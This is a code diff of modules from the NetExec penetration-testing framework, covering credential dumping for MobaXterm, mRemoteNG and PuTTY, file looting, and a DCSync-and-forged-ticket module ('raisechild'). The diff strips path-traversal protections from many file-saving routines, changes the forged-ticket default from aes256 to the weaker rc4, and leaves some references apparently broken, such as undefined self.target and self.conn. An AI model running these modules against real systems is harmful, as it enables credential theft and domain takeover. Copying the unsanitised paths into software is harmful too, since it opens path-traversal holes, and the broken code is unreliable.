ldap_response = connection.search(searchFilter=f"(distinguishedName={scope_dn})", baseDN=scope_dn, attributes=["gPLink", "gPOptions"])
|
||||
entries = parse_result_attributes(ldap_response)
|
||||
if not entries:
|
||||
context.log.fail(f"Unable to read GPO links for {scope_dn}")
|
||||
return []
|
||||
if scope_dn == ou_dn:
|
||||
block_inheritance = bool(int(entries[0].get("gPOptions") or 0) & 0x1)
|
||||
for link in self.parse_gplink(entries[0].get("gPLink") or ""):
|
||||
if link["disabled"]:
|
||||
context.log.debug(f'GPO link {link["guid"]} disabled, skipping')
|
||||
continue
|
||||
if scope_dn == connection.baseDN and block_inheritance and not link["enforced"]:
|
||||
context.log.debug(f'GPO link {link["guid"]} blocked by inheritance, skipping')
|
||||
continue
|
||||
link["scope_dn"] = scope_dn
|
||||
# Enforced domain, enforced OU, normal OU, then normal domain links.
|
||||
link["priority"] = (0 if scope_dn == connection.baseDN else 1) if link["enforced"] else (2 if scope_dn == ou_dn else 3)
|
||||
gpo_links.append(link)
|
||||
return sorted(gpo_links, key=lambda link: (link["priority"], link["link_order"]))
|
||||
|
||||
def resolve_gpo(self, connection, guid):
|
||||
resp = connection.search(baseDN=f"CN=Policies,CN=System,{connection.baseDN}", searchFilter=f"(&(objectClass=groupPolicyContainer)(name={{{guid}}}))", attributes=["displayName", "name"])
|
||||
results = parse_result_attributes(resp)
|
||||
if not results:
|
||||
return ""
|
||||
return results[0].get("displayName") or results[0].get("name") or ""
|
||||
|
||||
def parse_gplink(self, gplink):
|
||||
raw_entries = re.findall(r"(?i)\[LDAP://cn=\{([0-9a-f\-]{36})\}[^;\]]*;(\d+)\]", gplink)
|
||||
parsed = []
|
||||
# Number every link, including disabled links (last listed = order 1).
|
||||
for link_order, (guid, flags_str) in enumerate(reversed(raw_entries), 1):
|
||||
flags = int(flags_str)
|
||||
parsed.append({"guid": guid, "flags": flags, "disabled": bool(flags & 0x1), "enforced": bool(flags & 0x2), "link_order": link_order})
|
||||
return parsed
|
||||
@@ -1,34 +1,62 @@
|
||||
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "mobaxterm"
|
||||
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
|
||||
|
||||
def mobaxterm_callback(credential):
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
|
||||
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
|
||||
try:
|
||||
context.log.success("Looting MobaXterm secrets")
|
||||
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
|
||||
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
|
||||
triage.triage_mobaxterm()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
|
||||
+52
-12
@@ -1,10 +1,12 @@
|
||||
import ntpath
|
||||
from dploot.lib.target import Target
|
||||
from Cryptodome.Cipher import AES
|
||||
from lxml import objectify
|
||||
from base64 import b64decode
|
||||
import hashlib
|
||||
from dataclasses import dataclass
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -23,7 +25,7 @@ class NXCModule:
|
||||
|
||||
name = "mremoteng"
|
||||
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
@@ -40,7 +42,6 @@ class NXCModule:
|
||||
self.mRemoteNg_path = [
|
||||
"Users\\{username}\\AppData\\Local\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
|
||||
]
|
||||
|
||||
self.custom_user_path = [
|
||||
@@ -67,31 +68,70 @@ class NXCModule:
|
||||
self.custom_path = module_options["CUSTOM_PATH"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
# 1. Evole conn into dploot conn
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
|
||||
self.dploot_conn = connection.dpapi_triage.conn
|
||||
self.share = connection.args.share
|
||||
|
||||
users = self.dploot_conn.list_users()
|
||||
host = f"{connection.hostname}.{connection.domain}"
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
# Search for mRemoteNG files
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if dploot_conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
# 2. Dump users list
|
||||
users = self.get_users(dploot_conn)
|
||||
|
||||
# 3. Search for mRemoteNG files
|
||||
for user in users:
|
||||
for path in self.mRemoteNg_path:
|
||||
user_path = ntpath.join(path.format(username=user), "confCons.xml")
|
||||
content = self.dploot_conn.read_file(share=self.share, path=user_path)
|
||||
content = dploot_conn.readFile(self.share, user_path)
|
||||
if content is None:
|
||||
continue
|
||||
self.context.log.info(f"Found confCons.xml file: {user_path}")
|
||||
self.handle_confCons_file(content)
|
||||
for path in self.custom_user_path:
|
||||
user_path = path.format(username=user)
|
||||
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
if self.custom_path is not None:
|
||||
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
|
||||
content = dploot_conn.readFile(self.share, self.custom_path)
|
||||
if content is not None:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability
|
||||
return users
|
||||
|
||||
def handle_confCons_file(self, file_content):
|
||||
main = objectify.fromstring(file_content)
|
||||
encryption_attributes = MRemoteNgEncryptionAttributes(
|
||||
@@ -112,7 +152,7 @@ class NXCModule:
|
||||
protocol = node_attribute["Protocol"]
|
||||
port = node_attribute["Port"]
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
|
||||
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
|
||||
|
||||
def parse_xml_nodes(self, main):
|
||||
nodes = []
|
||||
@@ -126,7 +166,7 @@ class NXCModule:
|
||||
return nodes
|
||||
|
||||
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
|
||||
directory_list = conn.list_dir(share=self.share, path=directory_path)
|
||||
directory_list = conn.remote_list_dir(self.share, directory_path)
|
||||
if directory_list is not None:
|
||||
for item in directory_list:
|
||||
if item.get_longname() not in self.false_positive:
|
||||
@@ -138,7 +178,7 @@ class NXCModule:
|
||||
# It's a file, download it to the output share if the mask is ok
|
||||
if "confCons.xml" in item.get_longname():
|
||||
self.context.log.info(f"Found confCons.xml file: {new_path}")
|
||||
content = conn.read_file(share=self.share, path=new_path)
|
||||
content = conn.readFile(self.context.share, new_path)
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
|
||||
|
||||
@@ -4,7 +4,6 @@ import os
|
||||
from pathlib import Path
|
||||
import re
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -140,8 +139,8 @@ class NXCModule:
|
||||
context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}")
|
||||
|
||||
if self.save and all_results:
|
||||
filename = sanitize_path_component(f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json")
|
||||
file_path = (Path(NXC_PATH) / "modules" / "mssql-dumper" / filename).resolve()
|
||||
filename = f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json"
|
||||
file_path = Path(f"{NXC_PATH}/modules/mssql-dumper/{filename}").resolve()
|
||||
os.makedirs(file_path.parent, exist_ok=True)
|
||||
with open(file_path, "w") as f:
|
||||
json.dump(all_results, f, indent=2)
|
||||
|
||||
@@ -10,7 +10,6 @@ import tempfile
|
||||
from datetime import datetime
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
|
||||
|
||||
@@ -159,7 +158,7 @@ class NXCModule:
|
||||
return
|
||||
else:
|
||||
self.context.log.display(f"Copying {nano_log_name} to host")
|
||||
filename = os.path.join(self.dir_result, sanitize_path_component(f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"))
|
||||
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
|
||||
if self.context.protocol == "smb":
|
||||
with open(filename, "wb+") as dump_file:
|
||||
try:
|
||||
|
||||
@@ -1,9 +1,7 @@
|
||||
from io import BytesIO
|
||||
from os import makedirs
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from os.path import join, abspath
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -38,12 +36,9 @@ class NXCModule:
|
||||
context.log.highlight(f"C:\\{file_path}")
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt")
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
|
||||
export_path = join(NXC_PATH, "modules", "notepad++")
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
try:
|
||||
with open(path, "w+") as file:
|
||||
|
||||
@@ -1,11 +1,9 @@
|
||||
from io import BytesIO
|
||||
from os import makedirs
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from os.path import join, abspath
|
||||
import re
|
||||
import time
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from impacket.smbconnection import SessionError
|
||||
|
||||
@@ -39,7 +37,7 @@ class NXCModule:
|
||||
self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""KILL Kill for notepad.exe process. Default: False"""
|
||||
"""KILL // Kill for notepad.exe process. Default False."""
|
||||
if "KILL" not in module_options:
|
||||
self.kill = False
|
||||
else:
|
||||
@@ -163,12 +161,9 @@ class NXCModule:
|
||||
content_lines.append(string) # Store the string value only
|
||||
|
||||
# Save to file
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt")
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
|
||||
export_path = join(NXC_PATH, "modules", "notepad")
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
|
||||
with open(path, "w+") as output_file:
|
||||
|
||||
@@ -519,10 +519,10 @@ class NXCModule:
|
||||
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
|
||||
|
||||
if "$FILE_NAME" in parsed_header:
|
||||
filename_length = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
|
||||
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
|
||||
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
|
||||
|
||||
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_length * 2)].decode("utf-16")
|
||||
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
|
||||
|
||||
if "$DATA" in parsed_header:
|
||||
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])
|
||||
|
||||
@@ -1,9 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from datetime import datetime, timedelta
|
||||
from os.path import join
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import socket
|
||||
|
||||
@@ -73,7 +71,7 @@ class NXCModule:
|
||||
|
||||
if answers:
|
||||
obsolete_hosts_count = len(answers)
|
||||
filename = join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}.obsoletehosts.txt"))
|
||||
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
|
||||
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
|
||||
with open(filename, "w") as f:
|
||||
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
from os import makedirs
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from os.path import join, abspath
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from io import BytesIO
|
||||
|
||||
@@ -48,12 +46,9 @@ class NXCModule:
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
if self.export:
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_powershell_history.txt")
|
||||
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
|
||||
export_path = join(NXC_PATH, "modules", "powershell_history")
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
try:
|
||||
with open(path, "w+") as file:
|
||||
|
||||
@@ -1,11 +1,9 @@
|
||||
import os
|
||||
from pathlib import Path
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5 import constants
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
@@ -56,7 +54,7 @@ class NXCModule:
|
||||
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
|
||||
|
||||
# Save computers to file
|
||||
domain_dir = os.path.join(NXC_PATH, "modules", "pre2k", sanitize_path_component(connection.domain))
|
||||
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
|
||||
output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt")
|
||||
output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt")
|
||||
|
||||
@@ -139,10 +137,7 @@ class NXCModule:
|
||||
try:
|
||||
ccache = CCache()
|
||||
ccache.fromTGT(ticket, sessionKey, sessionKey)
|
||||
ccache_filename = Path(ccache_base_dir, sanitize_path_component(f"{username}.ccache")).resolve()
|
||||
if Path(ccache_base_dir).resolve() not in ccache_filename.parents:
|
||||
context.log.fail(f"Path traversal detected in ticket filename for {username!r}, skipping")
|
||||
return
|
||||
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
|
||||
ccache.saveFile(ccache_filename)
|
||||
context.log.info(f"Saved ticket in {ccache_filename}")
|
||||
except Exception as e:
|
||||
|
||||
+5
-47
@@ -1,5 +1,4 @@
|
||||
import re
|
||||
from types import SimpleNamespace
|
||||
from impacket.dcerpc.v5 import samr, tsch
|
||||
from impacket.dcerpc.v5 import tsts as TSTS
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
@@ -21,46 +20,11 @@ class NXCModule:
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
ALTUSER Alternative domain user to enumerate admin groups with
|
||||
ALTPASS Password for ALTUSER
|
||||
ALTDOMAIN Domain FQDN of the alternative credentials
|
||||
ALTDC DC IP
|
||||
|
||||
When alternative credentials are supplied, Domain and Enterprise Admins are enumerated over SAMR against the DC using those credentials, rather than the local administrator session (which cannot enumerate these groups).
|
||||
"""
|
||||
self.altuser = module_options.get("ALTUSER")
|
||||
self.altpass = module_options.get("ALTPASS")
|
||||
self.altdomain = module_options.get("ALTDOMAIN")
|
||||
self.altdc = module_options.get("ALTDC")
|
||||
|
||||
alt_creds = [self.altuser, self.altpass, self.altdomain]
|
||||
if any(alt_creds) and not all(alt_creds):
|
||||
context.log.fail("ALTUSER, ALTPASS, and ALTDOMAIN must be specified together")
|
||||
return False
|
||||
"""There are no module options."""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
try:
|
||||
if self.altuser and self.altpass and self.altdomain:
|
||||
context.log.info(f"Using alternative domain credentials: {self.altdomain}\\{self.altuser}")
|
||||
alt_connection = SimpleNamespace(
|
||||
username=self.altuser,
|
||||
password=self.altpass,
|
||||
domain=self.altdomain,
|
||||
lmhash="",
|
||||
nthash="",
|
||||
aesKey=None,
|
||||
kerberos=False,
|
||||
kdcHost=self.altdc,
|
||||
conn=None,
|
||||
host=self.altdc,
|
||||
remoteName=self.altdc,
|
||||
port=445,
|
||||
)
|
||||
admin_users = self.enumerate_admin_users(context, alt_connection)
|
||||
else:
|
||||
admin_users = self.enumerate_admin_users(context, connection)
|
||||
|
||||
admin_users = self.enumerate_admin_users(context, connection)
|
||||
if not admin_users:
|
||||
context.log.fail("No admin users found.")
|
||||
return
|
||||
@@ -184,18 +148,12 @@ class NXCModule:
|
||||
context.log.debug(f"Enumerated {len(processes)} processes on {connection.host}")
|
||||
|
||||
for process in processes:
|
||||
info = process.getProcessInfo()
|
||||
image_name = info["ImageName"].getValue()
|
||||
pid = info["UniqueProcessId"]
|
||||
session_id = info["SessionId"]
|
||||
psid = process.getSid()
|
||||
context.log.debug(f"ImageName: {image_name}, UniqueProcessId: {pid}, SessionId: {session_id}, pSid: {psid}")
|
||||
|
||||
context.log.debug(f"ImageName: {process['ImageName']}, UniqueProcessId: {process['SessionId']}, pSid: {process['pSid']}")
|
||||
# Check if process SID matches any admin user SID
|
||||
for user in admin_users:
|
||||
if psid == user["sid"]:
|
||||
if process["pSid"] == user["sid"]:
|
||||
user["in_tasks"] = True
|
||||
context.log.info(f"Matched process {image_name} with user {user['username']}")
|
||||
context.log.info(f"Matched process {process['ImageName']} with user {user['username']}")
|
||||
|
||||
def check_scheduled_tasks(self, context, connection, admin_users):
|
||||
"""Checks scheduled tasks over rpc."""
|
||||
|
||||
@@ -6,10 +6,8 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from os import makedirs
|
||||
from pathlib import Path
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import re
|
||||
|
||||
@@ -162,10 +160,7 @@ class NXCModule:
|
||||
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
|
||||
share = session["private_key_path"].split(":")[0] + "$"
|
||||
file_path = session["private_key_path"].split(":")[1]
|
||||
download_path = Path(NXC_PATH, "modules", "PuTTY", sanitize_path_component(f"putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec")).resolve()
|
||||
if Path(NXC_PATH, "modules", "PuTTY").resolve() not in download_path.parents:
|
||||
self.context.log.fail(f"Path traversal detected in PuTTY session {session['session_name']!r}, skipping")
|
||||
continue
|
||||
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec"
|
||||
|
||||
buf = BytesIO()
|
||||
with open(download_path, "wb") as file:
|
||||
|
||||
+34
-10
@@ -2,6 +2,7 @@ import os
|
||||
import datetime
|
||||
import re
|
||||
from contextlib import suppress
|
||||
from impacket.smbconnection import SMBConnection
|
||||
from impacket.examples.secretsdump import RemoteOperations, NTDSHashes
|
||||
from impacket.dcerpc.v5.drsuapi import DCERPCSessionError
|
||||
from calendar import timegm
|
||||
@@ -19,7 +20,6 @@ from impacket.dcerpc.v5.samr import GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GRO
|
||||
from impacket.dcerpc.v5.dtypes import SID, RPC_SID, NULL
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.smb import get_smb_connection
|
||||
|
||||
# Encryption type configurations: enctype, checksum, signature size, session key size
|
||||
ETYPE_CONFIG = {
|
||||
@@ -49,7 +49,7 @@ class NXCModule:
|
||||
self.krbtgt_hash = ""
|
||||
self.aes128_key = ""
|
||||
self.aes256_key = ""
|
||||
self.etype = "aes256"
|
||||
self.etype = "rc4"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -59,7 +59,7 @@ class NXCModule:
|
||||
USER Target username to forge the ticket for (default: Administrator)
|
||||
USER_ID RID used as the user ID in the PAC (default: 500)
|
||||
RID RID used for the extra SID (default: 519 = Enterprise Admins)
|
||||
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: aes256)
|
||||
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: rc4)
|
||||
|
||||
Examples:
|
||||
netexec ldap <ip> -u <username> -p <password> -M raisechild -o USER=DC01$
|
||||
@@ -69,7 +69,7 @@ class NXCModule:
|
||||
"""
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.etype = module_options.get("ETYPE", "aes256").lower()
|
||||
self.etype = module_options.get("ETYPE", "rc4").lower()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
@@ -133,6 +133,32 @@ class NXCModule:
|
||||
else:
|
||||
self.context.log.fail("Could not retrieve child domain SID from connection.")
|
||||
|
||||
def _get_smb_session(self, ldap_conn):
|
||||
smb = SMBConnection(
|
||||
remoteName=ldap_conn.hostname,
|
||||
remoteHost=ldap_conn.host,
|
||||
sess_port=445,
|
||||
)
|
||||
|
||||
if ldap_conn.kerberos:
|
||||
smb.kerberosLogin(
|
||||
user=ldap_conn.username,
|
||||
password=ldap_conn.password,
|
||||
domain=ldap_conn.domain,
|
||||
lmhash=ldap_conn.lmhash,
|
||||
nthash=ldap_conn.nthash,
|
||||
aesKey=ldap_conn.aesKey,
|
||||
kdcHost=ldap_conn.kdcHost,
|
||||
useCache=ldap_conn.use_kcache,
|
||||
)
|
||||
elif ldap_conn.nthash or ldap_conn.lmhash:
|
||||
# NTLM pass-the-hash
|
||||
smb.login(ldap_conn.username, "", ldap_conn.domain, lmhash=ldap_conn.lmhash, nthash=ldap_conn.nthash)
|
||||
else:
|
||||
# NTLM with cleartext password
|
||||
smb.login(ldap_conn.username, ldap_conn.password, ldap_conn.domain)
|
||||
return smb
|
||||
|
||||
def _get_domain_netbios(self, ldap_conn):
|
||||
resp = ldap_conn.search(
|
||||
baseDN=f"CN=Partitions,{ldap_conn.configuration_context}",
|
||||
@@ -199,13 +225,11 @@ class NXCModule:
|
||||
|
||||
def get_krbtgt_hash(self, connection):
|
||||
try:
|
||||
smb_conn = get_smb_connection(self.context, connection)
|
||||
smb_conn = self._get_smb_session(connection)
|
||||
self._dcsync_krbtgt(smb_conn, connection)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error during DCSync: {e}")
|
||||
return
|
||||
if not smb_conn:
|
||||
return
|
||||
self._dcsync_krbtgt(smb_conn, connection)
|
||||
|
||||
if (self.etype == "rc4" and self.krbtgt_hash) or (self.etype == "aes128" and self.aes128_key) or (self.etype == "aes256" and self.aes256_key):
|
||||
try:
|
||||
@@ -276,7 +300,7 @@ class NXCModule:
|
||||
def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO:
|
||||
kerbdata = KERB_VALIDATION_INFO()
|
||||
|
||||
now_utc = datetime.datetime.now(datetime.UTC)
|
||||
now_utc = datetime.datetime.now(datetime.timezone.utc)
|
||||
now_unix = timegm(now_utc.timetuple())
|
||||
now_filetime = self._getFileTime(now_unix)
|
||||
|
||||
@@ -427,7 +451,7 @@ class NXCModule:
|
||||
pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents()
|
||||
|
||||
def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]:
|
||||
now_utc = datetime.datetime.now(datetime.UTC)
|
||||
now_utc = datetime.datetime.now(datetime.timezone.utc)
|
||||
end_utc = now_utc + datetime.timedelta(hours=duration_hours)
|
||||
|
||||
enc_ticket_part = EncTicketPart()
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import base64
|
||||
from Cryptodome.Cipher import AES
|
||||
from Crypto.Cipher import AES
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
@@ -83,6 +83,6 @@ class NXCModule:
|
||||
return crypter.decrypt(buf).decode("utf-8")
|
||||
|
||||
def base64_urlsafedecode(self, string):
|
||||
padding = (4 - len(string) % 4) % 4
|
||||
